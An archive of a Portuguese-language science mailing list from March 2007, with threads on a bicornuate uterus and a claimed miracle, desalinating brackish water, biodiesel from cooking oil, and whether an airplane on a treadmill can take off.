Concordo que a "varinha mágica" possa ser importante, embora experiências
controladas sejam necessárias para avaliar tal hipótese. Ainda assim,
canonizar uma pessoa por causa da "fé" de outra não é um certo exagero?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 03, 2007 12:18 AM
Subject: Re: [ciencialist] Útero bicorno

> Olá, Álvaro! Como vimos no link fornecido por Takata, a maioria das
> mulheres
> com útero bicorno geram filhos até o nascimento. O que não se pode deixar
> de
> considerar é a condição que a *confiança* em alguma coisa promove no
> organismo das pessoa. Uma das maiores causas de esterilidade e abortos é o
> estresse, a ansiedade e as preocupações. Uma pessoa confiante é tranqüila,
> tem o sistema nervoso apto a dar as respostas bem naturais, sistema
> imunológico funcionando normalmente, etc. e etc. É claro que uma pessoa
> assim tem mais chances de engravidar do que uma angustiada. Um dos
> exemplos
> mais consistentes é o caso muito comum da mulher que faz tratamento para
> engravidar durante dois, três, cinco anos sem conseguir segurar uma
> gravidez
> até o fim. Ela desiste e em acordo com o parceiro partem para a adoção.
> Oito
> meses após a adoção ela engravida mesmo sem manter qualquer dos
> tratamentos
> feitos anteriormente... A questão é saber o que ou quem consegue dar essa
> confiança à uma pessoa.
>
> Poucos percebem a importante lição que uma historinha infantil contém: a
> do
> patinho que não sabia nadar. Toda vez que entrava nágua se debatia e ia ao
> fundo. Chamado o doutor pato especialista nessa área, ele conversa com o
> patinho e lhe dá uma varinha mágica que o fará boiar... Confiante o
> pequeno
> entra nágua com as penas oleosas arrumadas, bóia e nada como nunca fez
> antes. Feliz, se esmera em velocidade e manobras para que todos vejam como
> ele é bom. Numa dessas a varinha mágica cai de seu bico - ou de debaixo
> das
> asinhas, segundo alguns autores - e, amedrontado, começa a se debater. Mas
> num repente percebe que ele já possui todas as condições para boiar, nadar
> e
> fazer melhor as piruetas sem a varinha mágica...
> Continua a questão: onde podemos obter essa confiança? A turma do
> pensamento
> positivo dá uma receita, os céticos outra, os psicólogos e psicanalistas
> têm
> cada um a sua, e assim vamos... Voltaire já ironizava que médico é o
> senhor
> que mantém o paciente distraído enquanto o corpo se recupera e se cura.
>
> []s
>
> José Renato
> ......................................................
>
> From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 10:50 AM
> Subject: [ciencialist] Útero bicorno
>
>
>> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
>> deles, uma mulher portadora de útero bicorno, já tendo abortado três
>> vezes,
>> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
>> fim
>> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
>> chegar
>> ao fim da gestação? A literatura médica registra muitos desses casos?
>> Seria
>> interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
>> produzido prole saudável, mesmo tendo útero bicorno.
>>
>> [ ]s
>>
>> Alvaro Augusto
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Útero bicorno
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 04:08

Esclarecimento necessário: útero bicorno não é aquele do qual nascem
gêmeos fraternos - cada qual com um pai diferente e ambos diferente do
marido da mãe. Mas sim aquele que tem sua porção final fendida, com
cada metade ligada a um dos ovários e se unindo em outra extreminade
na região do colo. O útero septado tem uma aparência externa normal,
mas por dentro uma parede separa total ou parcialmente o útero em duas
metade.

[]s,

Roberto Takata



SUBJECT: Fw: agua salobra
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 09:42

Alguém sugere algo?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: mi.bonatto
Para: leobarretos
Enviada em: domingo, 4 de março de 2007 18:30
Assunto: agua salobra


Caríssimo professor Luiz Ferraz Neto, estava fazendo uma busca na net pelo Google, para localizar alguma coisa sobre agua, pois, tenho uma propriedade rural no município de Rafard-SP e a agua que temos la e salobra.
Ao efetuar a busca um elenco enorme de sites me foi apresentado, mas o seu, www.feiradeciencias.com.br, chamou minha atenção.
Entrei e vasculhei tudo o que pude. gostei muito e achei que posso contar com o senhor, para solucionar o problema da agua em meu sitio.
Se pelo menos a agua de beber pudesse ser dessalinizada, isso resolveria meu problema.
Contando com a atenção que certamente a mim sera dispensada, agradeço e aguardo resposta.

Maria I B Marconato





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Útero bicorno
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 10:17

Tudo bem. Mas não entendi a parte do "vocês fiéis...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 12:31 AM
Subject: Re: [ciencialist] Útero bicorno


Álvaro:
Se se refletir em profundidade sobre "canonizar", rito da igreja católica,
que transforma pessoas em "santos", há de se admitir que, revendo a história
da Santa Sé, esse procedimento tem eminente aplicação política e até mesmo
demagógica, como é o atual caso. Mas é um probleme pertinente à alta
hierarquia do Vaticano e vocês, fiéis, devem, segundo os ritos, crer com
toda sua inteligência.

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 8:15 PM
Subject: Re: [ciencialist] Útero bicorno


Caro José Renato,

Concordo que a "varinha mágica" possa ser importante, embora experiências
controladas sejam necessárias para avaliar tal hipótese. Ainda assim,
canonizar uma pessoa por causa da "fé" de outra não é um certo exagero?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 03, 2007 12:18 AM
Subject: Re: [ciencialist] Útero bicorno

> Olá, Álvaro! Como vimos no link fornecido por Takata, a maioria das
> mulheres
> com útero bicorno geram filhos até o nascimento. O que não se pode
deixar
> de
> considerar é a condição que a *confiança* em alguma coisa promove no
> organismo das pessoa. Uma das maiores causas de esterilidade e abortos é
o
> estresse, a ansiedade e as preocupações. Uma pessoa confiante é
tranqüila,
> tem o sistema nervoso apto a dar as respostas bem naturais, sistema
> imunológico funcionando normalmente, etc. e etc. É claro que uma pessoa
> assim tem mais chances de engravidar do que uma angustiada. Um dos
> exemplos
> mais consistentes é o caso muito comum da mulher que faz tratamento para
> engravidar durante dois, três, cinco anos sem conseguir segurar uma
> gravidez
> até o fim. Ela desiste e em acordo com o parceiro partem para a adoção.
> Oito
> meses após a adoção ela engravida mesmo sem manter qualquer dos
> tratamentos
> feitos anteriormente... A questão é saber o que ou quem consegue dar
essa
> confiança à uma pessoa.
>
> Poucos percebem a importante lição que uma historinha infantil contém: a
> do
> patinho que não sabia nadar. Toda vez que entrava nágua se debatia e ia
ao
> fundo. Chamado o doutor pato especialista nessa área, ele conversa com o
> patinho e lhe dá uma varinha mágica que o fará boiar... Confiante o
> pequeno
> entra nágua com as penas oleosas arrumadas, bóia e nada como nunca fez
> antes. Feliz, se esmera em velocidade e manobras para que todos vejam
como
> ele é bom. Numa dessas a varinha mágica cai de seu bico - ou de debaixo
> das
> asinhas, segundo alguns autores - e, amedrontado, começa a se debater.
Mas
> num repente percebe que ele já possui todas as condições para boiar,
nadar
> e
> fazer melhor as piruetas sem a varinha mágica...
> Continua a questão: onde podemos obter essa confiança? A turma do
> pensamento
> positivo dá uma receita, os céticos outra, os psicólogos e psicanalistas
> têm
> cada um a sua, e assim vamos... Voltaire já ironizava que médico é o
> senhor
> que mantém o paciente distraído enquanto o corpo se recupera e se cura.
>
> []s
>
> José Renato
> ......................................................
>
> From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 10:50 AM
> Subject: [ciencialist] Útero bicorno
>
>
>> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
>> deles, uma mulher portadora de útero bicorno, já tendo abortado três
>> vezes,
>> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
>> fim
>> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
>> chegar
>> ao fim da gestação? A literatura médica registra muitos desses casos?
>> Seria
>> interessante conhecer o caso de uma mulher ateísta ou agnóstica que
tenha
>> produzido prole saudável, mesmo tendo útero bicorno.
>>
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>>
>> Alvaro Augusto
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[As partes desta mensagem que não continham texto foram removidas]



##### ##### #####

Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos





SUBJECT: Re: [ciencialist] Fw: agua salobra
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 11:06

Osmose reversa?
O processo eh caro. :-(

Vai depender tambem de qual volume deseja tratar.

Aposto que existem grupos de apoio para este tipo de problematica.
Tipo as Embrapas da vida. Ou entao uma cooperativa regional.

Ateh
Luis Brudna


On 3/5/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
> Alguém sugere algo?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: mi.bonatto
> Para: leobarretos
> Enviada em: domingo, 4 de março de 2007 18:30
> Assunto: agua salobra
>
> Caríssimo professor Luiz Ferraz Neto, estava fazendo uma busca na net pelo Google, para localizar alguma coisa sobre agua, pois, tenho uma propriedade rural no município de Rafard-SP e a agua que temos la e salobra.
> Ao efetuar a busca um elenco enorme de sites me foi apresentado, mas o seu, www.feiradeciencias.com.br, chamou minha atenção.
> Entrei e vasculhei tudo o que pude. gostei muito e achei que posso contar com o senhor, para solucionar o problema da agua em meu sitio.
> Se pelo menos a agua de beber pudesse ser dessalinizada, isso resolveria meu problema.
> Contando com a atenção que certamente a mim sera dispensada, agradeço e aguardo resposta.
>
> Maria I B Marconato
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.7 - Release Date: 04/03/2007 00:00
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>


SUBJECT: Nova maneira de interpretar a relatividade.
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 11:36

Olá, todos.

Para os que ainda se interessam pelo tema Relatividade, indico a seguir um site de um participante do fórum Relatividad, também autor de uma nova maneira de ver a relatividade. Para quem não gosta da relatividade, como formulada por Einstein e os que lhe seguiram, como Minkowski, as teses discutidas podem ser interessantes.

http://www.geocities.com/newmodel2k/

Sds,
Victor.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Nova maneira de interpretar a relatividade.
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 11:40

Outro endereço com o mesmo tema, mesmo autor do site anterior:
Detalha aquí o objetivo do site.

http://www.geocities.com/macpetrol/Paper_esp.html

Victor.

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 05, 2007 11:36 AM
Subject: Nova maneira de interpretar a relatividade.


Olá, todos.

Para os que ainda se interessam pelo tema Relatividade, indico a seguir um site de um participante do fórum Relatividad, também autor de uma nova maneira de ver a relatividade. Para quem não gosta da relatividade, como formulada por Einstein e os que lhe seguiram, como Minkowski, as teses discutidas podem ser interessantes.

http://www.geocities.com/newmodel2k/

Sds,
Victor.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: agua salobra
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 12:04

Bem, tb dá pra fazer uma destilação à sol. Construir uma miniestufa
com telhado de vidro transparente e o fundo pintado de preto. A água
evapora se condensa no vidro, escorre por gravidade e é coletada na
lateral.

E tem tb:
http://www.inovacaotecnologica.com.br/noticias/noticia.php?artigo=010170031001

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Alguém sugere algo?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: mi.bonatto
> Para: leobarretos
> Enviada em: domingo, 4 de março de 2007 18:30
> Assunto: agua salobra
>
>
> Caríssimo professor Luiz Ferraz Neto, estava fazendo uma busca na
net pelo Google, para localizar alguma coisa sobre agua, pois, tenho
uma propriedade rural no município de Rafard-SP e a agua que temos la
e salobra.
> Ao efetuar a busca um elenco enorme de sites me foi apresentado, mas
o seu, www.feiradeciencias.com.br, chamou minha atenção.
> Entrei e vasculhei tudo o que pude. gostei muito e achei que posso
contar com o senhor, para solucionar o problema da agua em meu sitio.
> Se pelo menos a agua de beber pudesse ser dessalinizada, isso
resolveria meu problema.
> Contando com a atenção que certamente a mim sera dispensada,
agradeço e aguardo resposta.
>
> Maria I B Marconato
>
>
>
>
>
>
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>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.7 - Release Date:
04/03/2007 00:00
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Semimetais
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 14:17

Caros ciencialisteiros,
na Química, aos poucos, tem se abolido a utilização do termo
"semimetais". Apesar dos Físicos continuarem adorando esta divisão,
muitas tabelas periódicas já a aboliu. No entanto, após fuçar
insistentemente os sites da IUPAC e consultar alguns colegas renomados
da UFRJ, não consegui encontrar uma fonte biblíográfica desta limpeza.
Alguém poderia fornecer alguma dica sobre isso.
Abraços,
Esteban.


SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 14:46

Ué JR não vai responder minha ultima réplica a seu
email sobre ética??
Discutir o que é ética tem tudo a ver com felicidade.
Ou não.

Abraços.

--- José Renato <jrma@terra.com.br> escreveu:

> A ciência da felicidade
>
>
>
> O que é preciso para as pessoas viverem a
> felicidade?
>
>
>
> No grupo, um amigo - afeito a questões complicadas,
> que passam despercebidas ou preferimos esquecer -
> propôs que seja incluída no currículo educacional
> uma disciplina que ensine a ciência da felicidade.
>
> Existirá um conhecimento específico para ser feliz?
> Como obter e manter a felicidade?
>
> De algum modo sua proposta nos fez calar e, o
> melhor, pensar.
>
>
>
> Creio que a ciência da felicidade vem sendo
> pesquisada e desenvolvida há muito tempo, mas, como
> requer um mínimo de visão, sabedoria e lucidez,
> continuamos como os nossos ‘primos’ macacos a querer
> obter a felicidade sem abrir a mão. E, assim,
> ficamos prisioneiros, com a mão enfiada na cumbuca
> da existência donde tentamos tirar a própria
> felicidade a qualquer custo.
>
>
>
> O desafio de definir conhecimentos e regras para
> viver feliz lembra, de certo modo, o enigma da
> Esfinge: decifra-me ou... permanecerás infeliz!
> Poderemos todos ser instruídos na sabedoria edipiana
> rumo às Tebas modernas?
>
> Será importante, inicialmente, definir quando
> estamos felizes, ou melhor, quando nos percebemos e
> nos consideramos felizes e, finalmente, tentar
> definir o que é essa tal felicidade, geralmente só
> percebida depois que não a temos mais, resumida na
> frase "éramos felizes e não sabíamos".
>
>
>
> Talvez a forma de alcançar a felicidade seja um
> obstáculo, visto ser ela "perseguida" pelo vivente.
> Qualquer um, ao ser perseguido, sente-se acuado e
> foge. Geralmente, queremos retê-la para sempre em
> nós, em vez de simplesmente desfrutá-la. É como
> tentar pegar no ar bolhas coloridas de sabão ou
> aprisionar o canto dos pássaros em uma gaiola. A
> felicidade, nesses casos, não se realiza. Ficamos
> frustrados sem saber porque.
>
>
>
> Não é difícil perceber que todos somos egoístas por
> natureza. O que muda, às vezes, são as atitudes
> provocadas por esse egoísmo. Os mais fortes podem
> demonstra-lo e agir abertamente. Os mais fracos o
> fazem em surdina, disfarçadamente. E os mais vividos
> percebem que o egoísmo, como toda atitude, requer
> equilíbrio e limites. E buscam uma nova forma de
> convivência menos conflituosa.
>
>
>
> Outros valores também são importantes nessa busca e
> requerem preparação. Eles são estruturados no seio
> da família onde o infante desenvolve suas primeiras
> referências. É o fundamento. O resto é, em grande
> parte, conseqüência desse primeiro aprendizado. Em
> uma pesquisa da Unicef os jovens elegeram a família
> o ponto de apoio fundamental na educação e na
> formação dos seus valores pessoais e sociais.(Vide
> reportagem no final)
>
>
>
> Em contrapartida, a felicidade é vendida na mídia
> com muito interesse. Felicidade é o orgasmo
> transmitido sob gritos, gemidos e mão crispadas nos
> lençóis na telinha do faz-de-conta... É sair do
> shopping carregando "trocentas" sacolas de grifes
> famosas. Não é só usar uma roupa bonita e elegante
> em que você se sente confortável! Ela se realiza no
> ato de comprar, mostrar aos outros o seu poder de
> compra e não no usufruto do que você adquiriu.
> Felicidade é tirar vantagem em tudo, certo? É
> parecer que é... em vez de ser. Acredito que a
> felicidade, hoje, é mais aquela que os marqueteiros
> dizem que é, durante todas as 25 horas do dia.
>
>
>
> Na prática, vejo nas pessoas que parecem viver a
> felicidade uma agradável mistura de paz, confiança,
> tranqüilidade, disposição, integridade, percepção e
> atenção à realidade... E, todas elas, parecem dispor
> de todo o tempo do mundo! O que será que elas fazem
> para alcançar aquilo que imaginamos que só bastante
> dinheiro pode nos dar?
>
>
>
> As crianças, quando se sentem em ambiente seguro,
> transmitem essas "qualidades" ao serem simplesmente
> felizes. Suas preocupação e realizações são
> imediatas, logo desfrutadas. Um pouco diferente da
> elaborada felicidade, programada por nós hoje menos
> crianças. Serei feliz quando: me formar, me
> empregar, comprar um apartamento, um carro, ter
> aumento de salário, casar, separar, ter um filho, os
> filhos crescerem..., tornarem-se independentes,
> aposentar, ganhar a megasena (sozinho, claro), etc.
> e etc.
>
>
>
> Cada um apresentará seus sinais e valores do que
> seja ser feliz. Muitas coincidências ocorrerão. Uma,
> que me parece estará em todas elas já foi dita por
> Tom, mas de forma tão banal, que às vezes é
> confundida com filosofia barata: "é impossível ser
> feliz sozinho" (Wave - Tom Jobim). "Fundamental é
> mesmo o Amor..."
>
> E o que é isso que denominamos de amor?
>
>
>
> José Renato M. de Almeida
> Salvador - Bahia
>
> ____________________________
>
>
>
> A TARDE 01/12/2002 - Domingo - Local
>
http://www.atarde.com.br/materia.php3?mes=12&ano=2002&id_subcanal=17&id_materia=37
>
> Comportamento
> Família garante bem-estar, dizem jovens
>
> Cleidiana Ramnos
>
> Qual é o perfil do adolescente brasileiro? Para
> responder a esta pergunta, o Fundo das Nações Unidas
> para a Infância (Unicef) foi buscar informações na
> fonte. Intitulada “A Voz dos Adolescentes”, a nova
> pesquisa publicada pela instituição é a primeira
> realizada em todo o Brasil a ouvir opiniões de
> adolescentes de todas as regiões geográficas do
> País, dos diferentes níveis de renda, escolaridade,
> das diversas raças e cultura. Além disso, o trabalho
> revelou surpresas, derrubando mitos. Quando se
> imagina que esta é a fase da vida em que mais há
> conflito com a família, pode-se perceber que, apesar
> disto, ela é a instituição mais importante para os
> meninos. Ela foi apontada por 85% dos adolescentes
> brasileiros como a responsável pela garantia dos
> seus direitos e bem-estar, sendo seguida pela escola
> que alcançou o índice de 40%.
>
> “Este tipo de trabalho é importante para pensar
> projetos e ações para este público. Os dados são
> representativos do que os meninos sentem e pensam
> dos pais, da escola e sobre assuntos como drogas e a
> sua sexualidade”, salientou a oficial de comunicação
> do Unicef na Bahia e Sergipe, Patrícia Portela.
>
> A utilidade da pesquisa do Unicef está exatamente em
> ter mergulhado no próprio universo adolescente e não
> em dados dos chamados órgãos oficiais. A comparação
> com os números dessas fontes vai poder ser feita no
> próximo mês, quando o Unicef vai divulgar, por meio
> de teleconferência, o trabalho “A Situação do
> Adolescente Brasileiro”, a partir de indicadores,
> como IBGE, Ipea, Inesc e ministérios.
>
> “Será o relato do Brasil sobre os seus meninos”,
> destacou Patrícia Portela. A pesquisa ouviu 5.280
> adolescentes entre 12 e 17 anos, numa amostragem que
> reflete a opinião dos mais de 21 milhões de
> brasileiros que estão nesta faixa etária. Na Bahia,
> além de Salvador, foram ouvidos meninos de Lauro de
> Freitas, Simões Filho, Alagoinhas, São Gonçalo dos
> Campos e Vitória da Conquista.
>
> Os dados são importantes para o Unicef, pois um dos
> seus programas é o “Cidadania dos Adolescentes”, que
> contempla a faixa etária de 12 a 18 anos, além do
> “Sistema de Garantias e Proteção” e “Monitoramento e
> Comunicação pelos Direitos”, destinado a jovens de
> todas as faixas etárias. A pesquisa sediada em
> Brasília contou com uma equipe formada por
> sociólogos, estatísticos, cientistas políticos e
> jornalistas
=== message truncated ===


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Reciclando o óleo de cozinha
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 14:51

Olá

No site da Agência Radiobrás há uma matéria sobre a reciclagem do óleo
usado na cozinha. Ali eles ensinam a transformar o óleo em sabão:

http://www.agenciabrasil.gov.br/noticias/2007/03/04/materia.2007-03-04.8010256279/view

Aí eu pergunto: tem como transformar em biodiesel? Se procurarmos por
"cooking oil biodiesel" aparecem várias páginas na Internet, mas tem
algum processo que seja interessante para quem tem em casa, para
transformar o óleo usado em biodiesel sem pagar muito pela
transformação? Ecologicamente falando, o que vale mais a pena,
transformar o óleo usado em sabão ou em biodiesel (acho que em
biodiesel, já que o combustível vai ser queimado de qualquer forma,
mas pelo menos não virá de um depósito petrolífero - ou seja, sem
aumentar a quantidade de carbono da atmosfera, e sem poluir com enxofre).

Só lembrando que quem fizer isto e não tiver um carro movido a diesel
pode estar comprando problemas, já que a venda de combustível é algo
que depende de autorizações...

[]s
--
César A. K. Grossmann



SUBJECT: Re: Reciclando o óleo de cozinha
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 15:09

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Aí eu pergunto: tem como transformar em biodiesel?

Vários agricultores estão queimando o óleo direto.

Há tb um motor chamado Elko q funciona à base de óleo vegetal usado
(filtrando-se apenas as impurezas).

Pra transformar em biodiesel, normalmente tem como resíduo a
glicerina. Aqui algumas receitas:
http://journeytoforever.org/biodiesel_link.html#homebrews

NOTA: Não é recomendável tentar em casa. Se ainda assim for tentar
fazer, produza em quantidades mínimas (não mais q alguns ml) para
evitar riscos de explosão. Não tenho certeza, mas fazer isso sem
autorização dos órgãos competentes - não sei se fica a cargo do
Ministério da Agricultura, da ANP ou outro órgão - deve ser ilegal.

[]s,

Roberto Takata



SUBJECT: P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 15:19

Olá Jose Renato

Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
Isso significa que o mesmo está praticamente parado em relação ao solo e ao
ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
ou turbinas. Difícil, não?
"

NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe tração na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ do veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o avião apra tras, depois que ele liga as turbinas!

Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e elas NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos de eliminação de tração, de atrito. Pense em uma mala na esteira do aeroporto.

SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo dela. Isso porque o atrito das rodas fixas com a superfície da esteira fornece tração para a esteira empurrar a mala.

MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a mala fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o atrito dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.

Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO ZERO, o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a mala NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!

Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou do avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que acontece com a esteira. Ela poderia rolar para a direita, esquerda, parar, começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.

Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira pode aplciar no avião é apenas a permitida pelo, mínimo, atrito dos rolamentos das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força das turbinas.

Homero




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 12:10 AM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Ricardo:
[ José, imagino que vc tenha se enganado, neste caso. A turbina ou hélices,
ao
empurrar o ar para trás, empurra o avião para frente, independente deste
ter
ou não asas. O avião se move para frente ao ligar a turbina, não para
cima. ]
..........................
Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
Isso significa que o mesmo está praticamente parado em relação ao solo e ao
ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
ou turbinas. Difícil, não?
[]s
JR
..........................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 27, 2007 11:25 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> From: "José Renato" <jrma@terra.com.br>
>> Homero:
>> [ Se ligar as hélices, ele se move, independente de uma esteira ou das
>> rodas. ]
>> .............................................
>> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas
>> capaz
>> de sustentá-lo. Na proposta original parece-me que o avião possui
>> turbinas.
>> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>
> José, imagino que vc tenha se enganado, neste caso. A turbina ou hélices,
> ao
> empurrar o ar para trás, empurra o avião para frente, independente deste
> ter
> ou não asas. O avião se move para frente ao ligar a turbina, não para
> cima.
>
> Um abraço,
>
> Ricardo
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 15:30

Olá Jose Reanto

Renato: "É isso que o Takata está tentando há vários e-mails esclarecer a vc e a
Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
esteira carrega o avião para trás. "

Não, não carrega. Para carregar TEM DE USAR TRAÇÃO, e o atrito dos rolamentos não fornece tração suficiente (para isso servem as rodas, para ELIMINAR tração e atrito). Sim, a esteira, devido ao atrito dos rolamentos, carregaria, se se acelerasse bem devagar, o avião, mas apenas se NENHUMA força, MÍNIMA, contrária agisse. A resist~encia do ar já seria suficiente para impedir isso (por isso aviões são amarrados em plataformas de trens, ou seriam levados para tras pelo ar). E o que o Takata está fazendo é ajustando novos fatores de tração, como a "deformação" dos pneus, que não existem no enunciado, para justificar o injustificável. Na forma proposta, o avião decola sem problemas.

Mesmo o Takata admitiu, sem pestanejar, que se o atrito dos rolamentos é zero, não há o que discutir, o avião decola sem problemas.

O enunciado NÃO diz que a esteira primeiro carrega o avião para tras, e depois este liga as turbinas. Diz que a esteira se move EXATAMENTE como o avião, no sentido contrário. Se este está PARADO, a esteira está PARADA.

SE a esteira conseguisse, acelerando devagar ou não conseguiria pela falta de atrito, levar o avião a uma grande velocidade, as turbinas PRIMEIRO teriam de vencer essa velocidade para tras, mas NÃO TERIAM DE VENCER A ESTEIRA, QUE É INSIGNIFICANTE NESSA EQUAÇÃO a partir do momento em que o avião ganhou velocidade para tras.

Renato: "A seguir, vamos ver o que ocorre quando os motores do avião são acionados."

Você DESTRUIU o enunciado. Ninguém quer saber o que é ncessário para fazer um avião que JÁ ESTÁ EM MOVIMENTO APRA TRAS decolar, pois todos sabemso que NÃO IMPORTA COMO ELE ATINGIU ESSA VELOCIDADE (se esteira ou se caiu no precip´´icio), a propulsão tem primeiro de vencer essa velocidade retrograda.

O que o enunciado deseja saber é se, LIGANDO A ESTEIRA quando o avião acelera, e se essa esteira se move A MESMA velocidade do avião, mas para tras, se isso de alguma forma impede a decolagem. A resposta é, não, o avião decolará sem problemas. A força de sua propulsão pode, facilm,ente, sobrepujar o. quase desprezível, atrito dos rolamentos, que é, repito, A ÚNICA FORMA DA ESTEIRA AGIR SOBRE O AVIÃO.

Em algum momento tem de entender isso, Renato. Sua explicação está errada até mesmo em relação ao que o Takata vem tentando fazer (pergunte a ele, e verá que sua resposta NÃO é igual a dele).

Homero




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 6:38 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
após os seus:
...........................
From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 4:09 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
